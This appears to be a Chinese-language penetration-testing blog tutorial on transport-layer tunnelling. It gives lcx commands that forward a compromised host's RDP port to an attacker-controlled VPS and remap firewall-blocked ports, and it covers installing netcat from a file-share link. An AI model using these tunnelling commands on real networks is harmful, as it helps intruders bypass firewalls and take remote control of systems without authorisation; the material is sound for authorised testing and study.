【内网渗透】——隐藏通信隧道技术之传输层隧道技术

本文介绍传输层隧道技术,包括LCX端口转发、内网端口转发、本地端口映射以及Netcat(NC)的使用。探讨如何在目标主机中没有NC的情况下获取反向Shell,涉及Python和Bash反弹技巧。

传输层隧道技术

传输层包括TCP隧道,UDP隧道和常规端口转发,内网防火墙阻止了对指定端口的访问,获取目标机器的权限后可以使用IPTABLES打开指定端口

1. lcx端口转发

经典端口转发工具:lcx
windows版为lcx.exe , linux版为portmap
正常的socket隧道必须具备两端:
一端为服务端,监听一个端口,等待客户端的连接
一端为客户端,通过传入服务器的IP地址和端口,才能主动与服务器连接

1.1 内网端口转发

在目标机器上执行如下命令将目标机器3389端口的所有数据转发到公网VPS的4444端口上

lcx.exe -slave <公网主机ip> 4444 127.0.0.1 3389

在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上

lcx.exe -listen 4444 5555

用mstsc登陆 “<公网主机IP地址>:5555”,或者在VPS上用mstsc登陆主机127.0.0.1的5555端口,即可访问目标服务器的3389端口

1.2本地端口映射

如果目标服务器由于防火墙的配置,部分端口(列如:3389)的数据无法通过防火墙可以将目标服务器相应端口的数据的数据传到防火墙允许的其他端口(列如:53)。在目标主机上执行如下命令,可以直接从远程桌面连接目标主机的53端口

lxc -tran 53 <目标主机IP地址>

2. netcat(nc)

2.1 安装

(1)在kali中可以使用 nc -help或者 man nc 命令查看是否已经安装了nc
执行如下命令安装

sudo yum insatll nc.x86_64

(2)在windows中需要使用windows版本的nc
下载连接:
链接:https://pan.baidu.com/s/1SfN7Qm81fp3D9OkFRMArPg
提取码:3ds1

2.2 简单使用

(1)命令查询
nc的功能很多,可以输入 nc -h 命令进行查询

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值